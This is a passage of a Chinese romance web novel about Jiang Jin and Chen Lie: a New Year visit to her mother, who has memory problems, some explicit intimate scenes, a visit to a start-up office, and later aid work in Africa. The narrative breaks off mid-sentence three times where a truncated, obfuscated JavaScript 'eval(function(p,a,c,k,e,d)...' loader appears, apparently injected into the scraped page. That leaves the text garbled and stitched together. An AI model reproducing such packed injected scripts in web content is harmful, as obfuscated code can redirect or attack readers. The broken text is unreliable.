姜堇垂眸瞥着陈列的手,忽然好笑—— 陈列的手可真大,掌心厚实。黄澄澄的一只橘子捏进去,玩具似的。 陈列的动作总是粗糙,三两下剥了皮,分了一半整个塞进嘴。白柳絮这时说:“你不给你女朋友吃啊?” 陈列呛得咳了声,把手里剩的另一半橘子递姜堇:“要么?” 说这话的时候他也没看姜堇,一边腮帮子鼓着看客厅里的灯,好似要找出另一只坏掉的灯泡他好去换。 “谢谢。”姜堇接过。 陈列剥的橘子黏着厚厚白色经络,姜堇自己撕了两条,忽而一笑不再撕了,将整半橘子丢进嘴里。 白柳絮问:“好吃吗?” 姜堇笑道:“好吃的。” 晚饭吃饺子,另有好几道爽口凉菜,配一条江城口味的煎鱼。 保姆喜滋滋的劝陈列:“我还怕包这么多吃不掉,你多吃啊。” 白柳絮则问姜堇:“你爱不爱吃鱼?” 姜堇:“我……” 白柳絮自己又抢话道:“我的阿堇很喜欢吃鱼,我们家老房子就是在河边的。但我不常做鱼,因为阿堇吃饭太快了,我总怕她被鱼刺卡到。” 她问:“你知不知道阿堇吃饭为什么那么快?” 姜堇:“知道。” “你怎么会知道?”白柳絮不满地瞪她一眼:“因为啊……”她忽然神经质地摩挲一下手指:“她爸总是爱喝酒,喝了酒乱发脾气,不知什么时候就会扇她一巴掌、把她赶下桌去。” 白柳絮摩挲着手指说:“我的阿堇都没吃过几次鱼。” 姜堇只是微笑。 陈列拈一筷鱼腹,放到姜堇碗里。 姜堇低头剔了刺,埋头送进自己嘴里。那一刻,看不到她脸上的神情。 “好吃吗?”白柳絮问。 “好吃。”姜堇扬起脸来的时候,仍是笑着的。 “那你和阿堇一样啊。”白柳絮望着她的面庞叫:“阿堇。” 姜堇猛一怔。 “你给我当一晚上阿堇好不好啊?”白柳絮看陈列一眼:“陈列说阿堇去了很远的地方回不来,你不是陈列的女朋友吗?” 那意思是:这么近的关系,你可不能拒绝我。 姜堇低了一下头。 陈列垂眸看着她搁在腿上的手,轻轻攥了一下拳。 仰起面孔来笑着回答白柳絮:“好。” 白柳絮显得高兴极了,连声唤:“阿堇,阿堇。” “哎。”姜堇的嘴唇嗫嚅了下,唤她:“……妈妈。” 白柳絮吃了很多,吃到后来,保姆收了她筷子不让她再吃,怕她消化不良。 看春晚也不是江城人的习惯,但保姆喜欢,坐在小板凳上离电视很近,嗑着把瓜子笑得咯咯咯的。 沙发上只剩姜堇和白柳絮。白柳絮瞪着电视里的小品,一脸的“地铁老人看手机”。 姜堇叫她:“妈。” “嗯?”白柳絮又高兴起来,抓了块曲奇饼干塞姜堇手里:“阿堇,吃。” 那盒饼干也是陈列买来的。 姜堇抽了张纸巾,垫着饼干放到茶几上。自己搬张凳子贴沙发坐了,枕着白柳絮的腿,头搁放在她膝头。 “啊呀……”白柳絮双手跟空弹钢琴般在空中乱舞一阵:“以前阿堇也喜欢这样趴我身上的。” 手足无措了一阵,一只手终是轻轻落下来,抚着姜堇的侧颊。 姜堇阖上眼。 白柳絮俯身凑近姜堇耳畔,悄悄话似的:“我问你哦。” “嗯?” “你喜欢陈列什么啊?” 姜堇阖眼笑道:“喜欢他帅。” “他是挺帅的。”白柳絮点头认可:“还有呢?” “还有……”姜堇张开眼,陈列就坐在沙发侧边的转角上望着电视。从她的角度,恰能看见他棱角分明的下颌线。 姜堇蠕动唇瓣,轻轻地说:“喜欢他是个傻子。” “那他呢?”白柳絮问:“喜欢你什么?” “我也不知道。”姜堇枕在白柳絮膝头望着陈列:“我不是什么好人。” “为什么啊?”白柳絮问。 “我虚荣。”姜堇道:“还有,我心狠。” “喔哟。”白柳絮显得有点意外,愈发压低了声问姜堇:“那他晓得不啦?” 陈列看起来全神贯注地望着电视。 或者至少,他的注意力没放在这边。 可是他站起来,走到姜堇面前,眼神垂落下来,宽厚的肩膀像山。 “我知道。”他看着姜堇,尔后抬眸,看着白柳絮的眼又说了一次:“我知道。” 然后伸手攥住姜堇的腕子:“阿姨,借你的阿堇一会儿。” 攥着姜堇往卧室走去。 姜堇一年回来不了几次,可这是她自己的家,她给自己留了间小小的卧室。面积不大,有些像十八岁陈列给她租的那房子,一张床一个小衣柜便能填满。 陈列拧开台灯,锁门,将她腕子往上抬,整个人压在门上。 “陈列。”她轻轻地唤他:“我还是虚荣,每次休假从非洲离开,我都要坐头等舱,喝很多单独点单的香槟。” “喝。”陈列垂沉的黑眸看着她:“我跟涨潮合开了家公司,已经赚了第一桶金。” 姜堇扬唇:“我到市区都要住五星级酒店,买很多的奢侈品。” 陈列偏头,鼻息贴近她耳后,似要吻下去,却始终没有触碰:“够。” 姜堇在他灼热的呼吸间阖了阖眼:“我也的确心狠。我想过,如果当年化妆舞会的一幕重演,我还是会毫不犹豫把刀交到你手上。” “我知道。”陈列鼻尖轻蹭着她耳垂:“坏女人。” 他喃喃的语调透着种野兽凶狠,却又无可奈何为她臣服般,其间的反差感令她心悸。 她扬起一只纤细手臂来,抚摸他毛茸茸的后脑:“可我也会接住你递给我的刀。” 陈列的鼻尖向下,贴近她连通心脏的颈动脉:“我爱你。” 说这话的时候,他一手忽然拧灭了床头的台灯。 黑暗如潮水般袭来,小小卧室令人想起曾经逼仄的船舱,那里电路总是不稳,时而跳闸陷入这样的黑。姜堇的双眼猝然失去轮廓,只闻见陈列在她身边,衣服上是过分浓重的洗衣液味道。 此时她将脸埋进陈列厚实的胸膛里,嗅了嗅。 轻声道:“陈列,你怎么还是不会洗衣服。” 她纤长的睫扫着陈列黑色高领毛衣的织纹,心里想:如果这就是她这种人的感情。 那么她对陈列有感情。 客厅里放着过分喜乐的春晚,保姆阿姨和白柳絮聊天的声音,暖黄灯光从门底地缝漏进一瞬,更反衬出房内的黑。姜堇感到陈列向她吻了过来,下一瞬,她就被陈列掳着倒在了床上。 那几乎称不上一个吻,陈列近乎在噬咬她,不知谁的齿尖磕破了谁的唇,几乎有淡淡血腥味溢了出来。 “陈列。”姜堇用膝盖顶陈列的腿:“你咬疼我了。” 可这并没换来什么温柔话语。 陈列一只手臂撑起上身来:“你还知道疼。” 陈列现在的心脏就在发疼。不断地缩紧、缩紧,被一只无形的手紧攥般疼。他的呼吸从此时就开始乱了,接着他意识到那只攥住他心脏的手名为“渴望”。 他从十七岁起、对姜堇无比强烈的渴望。 江城没有集中供暖,卧室里没来得及开空调。姜堇去除了衣物包裹,只觉得身上凉飕飕的,每一个毛孔都在叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜堇用手指拢了拢头发,麻花瓣都蹭散了,她重编了一次,顺手从床头摸了个皮筋扎上。 从房间出去时她后知后觉捧了下自己的脸,总疑心红晕未散。 白柳絮看了她一眼。 她故作镇定坐到白柳絮身边:“怎么?” “你的头发……”白柳絮扬起一根手指:“刚才不就用那根帽绳系着?怎么多了个皮筋?” “哦。”姜堇理了理自己的发辫:“就,找到了。” 陈列从姜堇房里出来,黑色高领毛衣显得他肩宽腰窄,很厚实的身材。 他走到门口去取衣架上的棉服,白柳絮问:“你去哪?” “下楼抽根烟。” 陈列下楼。 春节万家团圆,或许只有他知道,街道上因此反而是怎样的静和空。那年大年三十他和赌鬼父亲决裂后,一个人在街道上漫无目的地走,体会的就是这样的静和空。 他单手插兜站在楼下,点了根烟衔在唇间。 “陈列。” 陈列抬头。 姜堇不知何时来到了阳台上,倚着打开的半扇窗户叫他。 “嗯。”陈列在烟雾中眯着眼应了声。 姜堇指了指天边,他看过去,什么都没有。正当奇怪,忽然轰鸣一声,就在姜堇纤指扬起的方向,大朵大朵的烟花迸溅开来。 原来今晚有市政燃放的烟花。看方向,应该是在那条最为著名的蜿蜒的江上。曾经姜堇和陈列所住的那条臭水河,两艘破船飘飘荡荡,如果它们始终没有沉没的话,漂往的应该就是江的方向。 陈列回眸望着姜堇。 她抱着双臂倚窗,蓝紫的光亮映在她脸上。她垂眸对陈列笑道:“陈列,你还记得那两条破船么?缆绳总是打绞在一起,得想方设法的解开。” 如果命运真有预兆。 陈列觉得他们的纠缠,或许是从那时已注定。 “姜阿堇。”他仰着后颈抬了抬下巴:“新年好。” “别这么郑重了。”她往客厅里望一眼,确定白柳絮不会出来后,才从口袋里掏出烟来:“反正以后的每一年,都要说这话的。” 陈列望向天边,烟花鼓噪着心跳震颤。 他吐出一口气来,发现自己真正在说的是:姜阿堇,往后余生好。 我会接住你递过来的那柄刀,千千万万次。 72. 介绍 过了零点,白柳絮终于舍得打着呵欠去睡。 她叫保姆阿姨搬了枕头棉被出来,放在沙发:“陈列你睡这里噢。” 陈列看着她。 “虽然是你女朋友,但今晚是我的阿堇。”白柳絮理直气壮:“你怎么能跟我的阿堇一起睡呢?” 陈列:…… 姜堇伏在白柳絮的肩头只是笑。 等白柳絮和保姆阿姨陆续回房,整个房子陷入安静。 陈列头枕交叠双臂,望着天花板,躺了会儿后不声不响起身,走到姜堇房间门口。 正欲低低叩一声门,忽一转念,手搭上门把手轻一转。 竟真的开了。 姜堇没锁门。 嗑哒一声在隐秘的夜里似挠在人心上。陈列走进房去,灯已熄了,姜堇背对着他躺着,开了空调不需要多厚棉被,薄薄一条搭在她起伏的曲线上。 成熟而年轻的女人,侧影像山,凹凸有致间有种诱人的生机。 几乎能让人联想到她滑腻的皮肤,清润的吐息,她汗腻腻的俯在耳畔用气声唤:“陈列,陈列……” 陈列抬手刮擦一下自己耳廓。姜堇就那样睡着,似已睡熟。 陈列垂眸看她背影一阵,刚要走出房去。 一只纤细手臂从被子里探出来,攀住了陈列的腿。 - 陈列仰躺着,枕头上尽数是姜堇皮肤的香气。 姜堇如另一条被子盖在陈列身上,她出了汗愈发滑腻,给人的感觉像掌心里随时会溜走的鱼。她的长发散落下来扫在陈列鼻端,痒痒的。 陈列伸手拨开,头埋在她锁骨。她便是在这时坐起来,脸上的神情似沉溺、似痛苦,陈列拨开她长发,沉沦地看着。 可她的腰力不足,体能也不够了。 陈列欺身起来,她纤细的足踝此时在他耳边。她的头偏向一边,咬住下唇,发丝含在唇间。 房间里只剩很轻微的咯吱声。 姜堇虚无地睁着眼,往上抬着腰。这声音就像他们仍在十七岁的破船上从未远离,船身被河畔水波推动,发出的就是这样的声音。 她自己也好似变成了那条船,陈列深深浅浅的推着她不让她靠岸。她攀着陈列厚实的背:“陈列……” 她的身体和心都悬在半空落不了地,想让陈列帮她。 陈列却不依。 有时她觉得陈列在惩罚她。有时又觉得陈列只是喜欢看她撕开面具的沉迷:“阿堇,睁眼。” 她张开眼,觉得睫毛上都挂住汗,望着陈列黑眸沉沉地看进他眼底。 他像是沙漠里跋涉已久的旅人,吃过第一颗糖确保自己不会饿死后,第二颗糖只啃含在齿间来回来去地咀嚼,舍不得咽下。 “陈列!”当他俯身时,姜堇是真的慌了。 接下来过分强烈的感觉让她只能拼命咬住唇,心中几乎空白一片,大脑中是一片炽白的烟花。 她张着嘴,却不敢发出声响。 直到陈列直起身,吻下来的同时终于肯给她一个痛快。她张嘴与他深吻时,几近不能呼吸。 等她躺回床上,想扯过被子盖住自己。 陈列挡开她手,一只大手覆在她心脏位置。 怦怦,怦怦。 姜堇阖上眼,听见自己的心脏在他指间狂跳。 他终于得见她彻底不经掩饰、抛却理智的那一面,他心满意足。 - 第二天姜堇猛然睁眼时,从没拉紧的窗帘缝隙透进的天色看出,此时已经不早了。 可当她摸过自己的手机、发现已是晨间九点时,还是牢牢吃了一惊。 她的生物钟由来准确,鲜有这样心里不记挂什么事、一觉睡足七小时的时候。 她起床套上毛衣,梳了头走出房间。 客厅里陈列在拖地,保姆阿姨和白柳絮坐在沙发上,用陈年报纸包几条熏鱼。 “起来了。”陈列瞥她一眼,拖把靠住墙,自己往厨房里走。 姜堇洗漱了跟进去,发现他在煮面。 “你煮?”姜堇倚住门框:“我妈她们的早饭也是你煮的?” “嗯。” “陈列。” “什么。” “我有没有跟你说过,你煮面其实挺难吃的?”姜堇笑起来:“我应该说过吧?你可不可以学一学?” “不行。” “为什么?” 陈列关了火,面捞出来盛进碗里放在一边,抱住双臂靠住流理台,扬着下巴看姜堇,眉微拧着。 姜堇看得好笑,走过去放弃自己重心,靠在他胸膛上:“你赌什么气呢?” 陈列那表情里的自我怀疑很明显:他已经为姜堇做得太多,多到他自己都匪夷所思的地步。 还学做饭? “那不学。”姜堇笑着哄他:“我让你吃点好的。” 她一只手环住他腰,另一手去摸索什么。陈列回头,她却不让,捧住陈列侧颊,另一手的食指探进陈列嘴里—— 她刚刚蘸了蜂蜜。 然后捧着陈列的脸,吻了上来。 两人唇舌纠缠,在厨房窗口透进的阳光中。直到陈列搡一搡姜堇提醒:“面要坨了。” 姜堇好笑地看着他:“你就担心你的面?” 她捧了面碗走到餐桌去,埋首大吃。 保姆阿姨和白柳絮包的那些熏鱼,都是自家做的,拿去送给邻居。 保姆瞥见报纸上的新闻标题:“这姑娘跟姜堇长得挺像呢。” 姜堇盘着一条腿,单手把长发拢在一边肩头正吃面,瞥了一眼,报纸上所刊是珠宝设计师姜雪照的一篇专访。 姜堇笑笑:“像吗?” 保姆又仔细看了看:“倒也没有很像。” 报纸上的著名珠宝设计师描着精致妆容,眼前的姜堇顶着素颜晨起的一张脸,长发蹭得毛茸茸的。 白柳絮瞧着姜堇:“你怎么那么能吃,还瘦得这样一把?” 姜堇:“我运动量大。” 陈列正从厨房里出来。姜堇这话放平时没什么,她工作强度本就超群,可放在这样的早晨,她白色高领毛衣里依稀能瞧见一枚红痕。 陈列:…… 两人吃过早饭一起出门。 姜堇在国内早已没什么交际,今天是陈列带她去见张潮。 张潮同陈列合作公司后,已搬到江城,公司法人全由张潮担任,陈列不出面。 姜堇在楼下看见一间超市,进去替白柳絮找她需要的足后跟防裂霜,让陈列先上楼。 自己买完东西后按门牌号找过去。 与其说这是一间公司,不如说这是一间小小工作室,最大生产历是陈列大脑,单看规模无人能想到它令人咋舌的变现能力。 姜堇刚走到门口,便听到一个娇脆女声喊:“陈列哥哥。” 姜堇蜷起指节,在玻璃门叩了叩。 一屋不过七八人,皆回头看她。陈列坐在一张办公桌上,大衣脱了,高领黑色毛衣微透出紧致的肌肉线条,手里漫不经心把玩着一只魔方,姜堇发现当他的神经松弛下来,脸上的神情总显得有些痞。 他面前站一个穿短裙着长靴的年轻姑娘,扎高马尾,看起来不过二十上下年纪,瞪着门口的姜堇。 姜堇微笑。 她甚至没机会经历这样天真的年纪,心高气傲,把一切漂亮同性视为劲敌。 张潮拖着办公椅站起来:“姜堇!是你啊?” 姜堇走过去:“嗨。” “好久不见。” “你俩……”姜堇瞥陈列一眼:“怎会一起开公司?” 张潮摸头自嘲咧嘴:“出去摸爬滚打一圈,发现自己引以为傲的那点脑力其实不值一提。倒不如帮着列哥,我做商业好像还更擅长。” “哦对了。”张潮指指高马尾女孩:“这是我表妹。” 女孩看向姜堇的眼神充满警惕。跨上前一步,挡住姜堇看向陈列的视线:“陈列哥哥,讲讲你在非洲的见闻。” 陈列把随手拼好的魔方抛在办公桌上,指指姜堇:“你问她,她也刚从非洲回来。” “女人也能去非洲援助?”女孩微微惊异。 “为什么不?”姜堇笑道。 张潮张罗着点了一顿下午茶,姜堇去洗手间时遇到女孩。 她礼貌笑笑准备先走,女孩却叫住她,有些咄咄逼人地问:“你和陈列哥哥是在非洲认识的?” 姜堇舌尖抵一抵后齿,在唇间玩味一遍这称呼:陈列哥哥。 她点头:“算是吧。” 抛却姜雪照的身份,重新认识一次。 “我和他已经认识好几年了。”女孩骄傲的扬起下巴:“比你早得多。” 姜堇扬唇刚要解释,女孩一甩手故意将水珠洒落她身上,凑近:“我知道你看他的眼神什么意思,劝你别想,我很了解他,不可能喜欢你这种类型。” 姜堇笑问:“我什么类型?” 女孩扫她一眼:“你是仗着自己长得漂亮、不把别人放在眼里的坏女人。” 姜堇扬扬眉。 小小年纪一派天真,眼力倒还不错。 女孩将门甩到姜堇脸上,自己先行离去。 姜堇回去时,女孩趁着下午茶尾声,在给程序员们算线上塔罗,趁机问陈列:“陈列哥哥,你喜欢什么类型?” 陈列瞥一眼进门的姜堇,叫她:“过来。” 姜堇走过去。 陈列将手搭在姜堇肩上:“这我女朋友。” 女孩一瞬间睁圆眼。 程序员们炸锅了:“可以啊列哥!这么个大美女是你女朋友!” 张潮推一推眼镜:“我刚才还没好意思问。你们高中就在一起了,我想着你们肯定早分了,怎么,居然一直在一起啊?” 陈列刚要解释。 姜堇在他身旁点头:“嗯。” 她说:“一直在一起。” - 因为新程序的上线公司大年初一被拖来加班,五倍加班费的豪横又让人毫无怨言。 陈列解决了技术问题要先走,女孩仍是气呼呼瞪着姜堇。 姜堇有些好笑。 取手包离开时凑近女孩身边:“我告诉你一个秘密。” 女孩:“我不听!” 姜堇却笑吟吟压低声:“当个坏女人,其实蛮爽的。” 她和陈列一同离开。 车路过一栋待封顶大楼,正是滕氏在江城投建的高端公寓,姜堇甚至亲临现场监工过,几年过去,却仍未封顶。 圈内有谣传,说滕氏下一任掌门人要易主,是因为滕二少的精神出了状况。 他总是疑神疑鬼,怀疑有人侵入自己公司系统。 无论技术部门筑了多高的防火墙,他总疑心自己电脑有被人改写的痕迹,可技术部门检查数轮,分明没找到任何证据。 此时那栋公寓在熠熠阳光下高耸,有一种赛博世界的废墟之美。 姜堇轻声问:“是你么?” 陈列不置可否地挑了挑眉。 姜堇一只纤手搭上陈列的腿:“你嫉妒?” 她每每说起这种话,面庞似玫瑰盛放,语调蛊惑。 陈列不说话,直到两人下车以后。 “姜堇。”陈列的嗓音沉沉压在满街喧哗里:“他想要你的命。” 姜堇和陈列难得在江城扎扎实实待了几天。 待到后来时姜堇无聊起来,抱着靠垫在沙发看电视里播的言情剧,看得眉头都拧起来—— 真有人信这个? 对剧情集中不了精神,就开始频频打呵欠,最后靠在沙发上睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是陈列先听到姜堇脚步,回眸。 姜堇斜斜倚在门框上,抱着条手臂。白柳絮跟着回头,眼神立刻警惕起来:“你不要进来啊,烧鱼我有秘方的。” 姜堇调侃道:“那你倒舍得教他。” 她眼神里有清浅的笑意。也许还有——陈列想——一点点落寞。 为什么? 当着白柳絮的面他并未发问,只是去料理锅里那条鱼。 白柳絮理直气壮说:“因为陈列说他以后要烧给阿堇吃啊,我的阿堇。” 姜堇睫毛很轻地翕动了下。 “这样啊。”她轻声说。 推开防盗门的声音传来,是保姆阿姨出门买水果回来了,在门口换鞋的时候唤:“白姐,你今天没看「树下调停」啊?” 「树下调停」是一档地方台节目,讲一些极狗血的感情纠纷,白柳絮很喜欢。 “喔唷,来了来了。”白柳絮洗了手匆匆出去:“我给忘了。” 一时间,厨房里只剩姜堇和陈列二人。 姜堇走过去,对着陈列紧实的腹肌掐了把,自身后环住陈列的腰:“不是说不学做饭?” 陈列关了火,把那条鱼盛出来:“也不是烧给你吃的。” “哦,那是给谁?”姜堇抬手在陈列颈侧轻刮着。 “给白柳絮的女儿。” 姜堇放下手,微垂着睫,额轻轻抵住陈列拢起的肩胛骨,侧头望着窗外。 “你在看什么?” “夕阳。”姜堇轻轻答。 陈列便不说话了,一手撑着流理台,任她那样靠着。 “陈列。” “嗯?” “你为什么从来不问我怎么了。” “有必要问吗?”陈列撑着手臂:“你想说的,自然会告诉我的。你不想说的,我怎么问你都能绕圈子逃掉。” 他说这话的语调,像她是只狡黠狐狸。 姜堇靠着他的背扬唇。 他越来越了解她。她是不会想的。 她只是望着窗外夕阳,想着十多年前的那个黄昏,夕色也如烧起来一般。那日她醒来,整个世界静寂一片,静得人心里发慌,整个世界好似只余她一人。 可是今天她张开眼走进厨房,陈列在,白柳絮也在。 她纤细手臂再一次轻轻环上陈列紧实的腰:“陈列。” “什么。” “你要是有一天背叛我的话。”姜堇刮擦一下他腹肌,笑道:“我就弄死你。” 陈列攥住她腕子,回头,忽地双手虎口掐住她腰线,将她抱坐在流理台上。 两只手臂撑在她身侧:“你怎么弄死我?” 每每他这样将她圈在一个狭小空间内,都有浓烈荷尔蒙气息袭来,姜堇会不自觉心跳加快,心底想,她其实迷恋这样带一丝危险的感觉。 她张口刚要作答,陈列吻了过来。 他们每次接吻都像一场角力,姜堇捧住他凌厉的下颌线,与他唇舌纠缠。双方都在进攻,在彼此口腔里攻城略地,像要侵占彼此最私密的角落。 身体是,精神也是。 姜堇悄悄张开一条眼缝。 陈列睫毛不算浓密,却很纤长,睁眼的时候有些显凶,闭眼时却像一只毛茸茸的大狗。他阖着眼吻得沉迷,眉心微微蹙起。 “姜阿堇。” “嗯?” “闭眼。” 姜堇阖上眼,他更加长驱直入地吻过来,姜堇不自觉往后仰头,在后脑将要撞上身后橱柜以前,他宽大的手掌护住她。 姜堇心想:或许他不会给她机会。 有人会被自己的影子背叛么?那反倒是另一个有趣的故事了。 74. 依恋 翌日,姜堇和陈列收拾行李赶赴机场。 下楼以后,姜堇拖着行李箱忽地停了脚步。 陈列回眸:“要上楼再跟阿姨说一声‘再见’吗?” 姜堇摇摇头:“不用了。” 已经足够了。 这个春节籍由陈列的关系,她给白柳絮当了一天的“阿堇”,白柳絮犹嫌不够,于是在这两周里,她唤白柳絮“妈妈”,白柳絮应她“阿堇”。 真的已经足够了。哪怕下次回国的时候,白柳絮又已不认得她,可至少母女俩在错乱的记忆时空里,有过一次依恋的重逢。 姜堇不要再待下去,不要再待到白柳絮又情绪失控不认得她的那天。 她拖着行李箱大跨步向前走去。 登机后姜堇去往头等舱,先就给自己要了杯香槟。 飞机进入平流层后,她开始沉睡。 陈列坐在她的一侧看她。 其实头等舱的座位对她来说太大了、也太空了。无论她睡在多大的空间里,她永远把自己蜷起来,睡成一个婴儿在母体子宫里的姿势。 她的睡姿永远这样,陈列甚至因此去翻了心理学的书。 书上说,这样的人缺乏安全感。 姜堇缺乏安全感么?在她醒着的时候一点看不出来,她永远轰轰烈烈,永远炽热燃烧,你觉得她像朵早开的玫瑰不知何时便要凋谢,她却盛放得比所有人都要久。 只是当飞机遭遇气流忽一颠簸时,她浑身跟着一抖,张开眼来。 迷蒙中看见陈列,绽开笑道:“你看着我做什么?” 机舱里灯已熄灭,她压出气声,似私密耳语。 陈列同样压低声回她:“看你睡觉。” “我有没有流口水?” “没有。” “那我睡觉什么样?” “像只小动物。”陈列说。 像只被遗弃的小动物。 姜堇半耷着眼皮醒了一阵神,伸手叫陈列:“过来。” 陈列走过去握住她手。她往边上缩了缩,所需的位置也就这么小小一块。在被空姐勒令回座以前,陈列暂且坐进她座椅,展开手臂圈住她,往舷窗外望去,才发现此刻电闪雷鸣。 “要是飞机失事了怎么办?”姜堇问。 “也没什么大不了的。”陈列轻描淡写地答。 “也是。”姜堇阖上眼微笑,在陈列臂弯里又一次沉沉睡了过去。 飞机顺利抵达非洲时是一个大晴天,他们的生活一如既往,分别服务于各自的组织,虽同在非洲,碰头的机会却并没有那么多。 他不喜欢给姜堇打电话,只发短信。 其实就连短信也没什么可发的,他只是在大风降温时发:[注意保暖。] 又或是在艳阳高照时发:[别中暑。] 姜堇给他回信息过来:[你到底会不会谈恋爱?] 他把手机塞回口袋,沉沉哂笑一声。 组里有新来的女同事,望着陈列俊冷眉眼惊异道:“他竟然会笑?” 陈列的模样太招姑娘喜欢,可沉默寡言的淡漠神情又太拒人千里。 他闲暇时坐在木桩或草堆,有时衔一根烟,有时叼一根草,深邃双眸望向远方的时候漆黑如深潭,屈起一边膝盖,姿态却显得散漫。 陈列是在一天深夜接到国内电话的。 他所在的时区与国内时差七小时,也就是说那时国内正值晌午。 舅舅的声音传来,用家乡方言唤他:“幺儿。” 陈列的心头凛了凛。 “幺儿,你听得清哇?”舅舅的声音随电流声传来:“你老子走了。被人发现喝多了酒,冻死在山里了,谁晓得看着看着要开春了……哎。” 陈列沉默半晌,应一声:“晓得了。” “你回来奔丧哇?” 陈列径直挂了电话,吐出一口浊气来。 他知道总有天他会听到他爸的死讯,行事那般荒唐的人。 他以为那天他会快意,终于甩掉了最大的包袱。 事实上现在他心里陡然一轻,如一个空洞、边缘不规则地溢散开来,是一种闷闷的疼。 他给姜堇发了条信息:[我终于解脱了。] 便不甚在意地把手机塞回兜里。 那位对陈列有意思的年轻女同事,看陈列从晚饭起就坐在外面草垛上:“他不吃饭啊?” “谁晓得。” 一直到住宿区的帐篷都熄了灯,女孩往草原上望一眼,陈列还那样坐着,连姿势都没换过。 她觉得陈列是遇到什么事了。 也许不是什么很大的事,只是心头有些不爽。她觉得自己应该走过去问陈列一句,可又怕陈列抬起眼眸冷冷瞧她一眼,礼貌的,可是拒人于千里之外的。 她叹了口气,终是放弃。 陈列在帐外坐到午夜。 草原上的天是一种瑰奇的蓝紫,星星闪烁得似随时将落满人肩头。一阵吉普车声音响起时陈列眯了眯眼,嘬了下唇间所衔的东西,一丝滋味都没有。 才意识到自己叼着一根草,而不是自己以为的烟。 他从口袋里摸了根烟出来,点了。这时间有人来营地,不知是有什么事。 吉普车停在营地前,一个人影从车里下来,车又遥遥地开走了。 没有一丝光亮的广袤草原上,那只是一个模糊轮廓。 陈列眯眼衔着烟,见那轮廓越来越近,并没打开手电,只是像循着他唇间明灭的一点光亮而来。 他在明处,那人在暗处。 在他辨认出那人以前,那人先开口唤他:“陈列。” 陈列双肩一滞。 他掏出手机点开手电,像是要确认眼前所见并非幻觉。 姜堇抬手挡了一下眼。 “陈列,关了。” 陈列坐着不动。 “陈列,把手电关了。” 陈列终于关了手电,手机随手丢往一边,跌落在草堆上发出闷闷一声。 姜堇走过来。 陈列双眼在一瞬光亮后又陷入黑暗,什么都看不清。他只知道姜堇站在他面前,他能闻见她身上的清馨香气,和皮肤溢散出的点点温度。 他深蹙着眉,没想到姜堇会连夜过来。他很怕姜堇开口,开口问他的心情他的感受。 因为他也说不清,说不清自己是想开罐啤酒庆祝还是对着星星悼念。 然而姜堇什么都没问。 陈列发现从十七岁开始,姜堇就是这样,不发问、不评价、不审视、不好奇。 她只是站在陈列面前,一手绕过他后颈,细瘦的手腕往前一带,将陈列的头揽入她怀中。 说了跟当年一模一样的一句话:“陈列,你真可怜,原来从来没有人爱你。” 那是一个保护的姿势。 那个姿势好像在说:我来爱你。 对陈列倾心的女孩起夜时,撩开帐篷往外看了眼,心想更深露重,陈列总不至于还坐在外面。 可陈列真的还在,坐在草垛上,宛若一尊雕像,手腕架在一边膝头,只是指间多了根明明灭灭的烟头。 还多了个女人。 他们并未交谈,女人只是静静站着,将陈列的头揽入自己怀中,陈列也没说话,只是静静靠着她。 两人的头顶,星辰闪烁,像亘古不变的时光,千万年间的永恒。 女孩翌日起床时,撞见陈列刚巧从帐篷里出来,莫名脸红了下。 他太冷峻。 高大而沉默,肌肉线条并不夸张,只是流畅而紧致,锋锐下颌配漆黑双眸,说不上他是危险、还是带给人强烈安全感。 尤其清晨。 他像一个还未完全苏醒的夜,下颌角挂住的水珠是来不及褪散的夜露,让你忍不住好奇去探究,在你平淡沉睡时,他的怀抱里藏着怎样的故事。 女孩结结巴巴打招呼:“嗨……列哥。” 陈列只是压一压下颌,礼貌而冷淡。 他的神色已恢复如常淡然,看不出昨晚坐到半夜的人是他。 女孩试探着问:“昨晚是不是有人来看你?” “嗯。”陈列还是那般淡淡神情:“我女朋友。” 女孩的心脏一瞬缩紧——他说“女朋友”三个字的语调,到底还是露了他的底,罕见的一丝柔和。 原来他看起来这般强硬,也会依恋人。 他不止爱慕她,他也依恋她。她对他的占有,是摘走了他灵魂心脏位置的小小结晶。 - 莺飞草长间,先是陈列生日,姜堇远赴大洋彼岸没机会露面,只是用国际漫游寄来一个包裹。 陈列打开来,是七十块钱纸币,有明显水渍洇干的痕迹。 姜堇给他打电话,快乐地问他:“陈列,你收到了吗?” “嗯。” “我这边下雪了,我给你寄了七十块钱,还有一片雪。”姜堇咯咯笑起来:“雪早化了对吗?你是看不到了。” 他在非洲草原烈日炎炎,她在冰天雪地里冷得跺脚,小碎步像什么轻快旋律。 “阿堇。” “嗯?” “我想念你。” 他这样的人很少开口说爱,更少开口说想念,那太软弱。可此时他隔着电流,好似闻见她那边的一抹清寒空气,撬开他容易紧抿的唇,清清楚楚地说:“我想念你。” “等我过生日的时候,我就回来了。”姜堇的小碎步衬得她声音愈发欢快些:“陈列,我们一起去过生日吧!去暖和的地方,我这边要冷死了。 “好的。”陈列应道:“好。” 六月时分,姜堇如期返程。 两人请了一天假,姜堇问:“我们去哪里?” 陈列只是说:“跟我走。” 他们飞去非洲的一片公海。 姜堇登上一艘巨型邮轮,左右顾盼一番,奢华船舱内空无一人,只是水晶酒杯叠出高耸香槟塔,玫瑰环绕的字体写着:[姜堇小姐生日快乐。] 姜堇问:“你包的?” 陈列跟在她身后踏上楼梯来:“嗯。” “奢侈。” “因为你虚荣。” “我是虚荣啊。”姜堇笑得肩膀晃起来:“好不容易有钱了,我为什么不享受?去非洲援助是一回事,可我又不是什么伟大修女。” 黑胶唱机放着恰如其分的舞曲,她对陈列伸出一只手臂:“陈先生,能邀你跳舞吗?” “别叫我陈先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 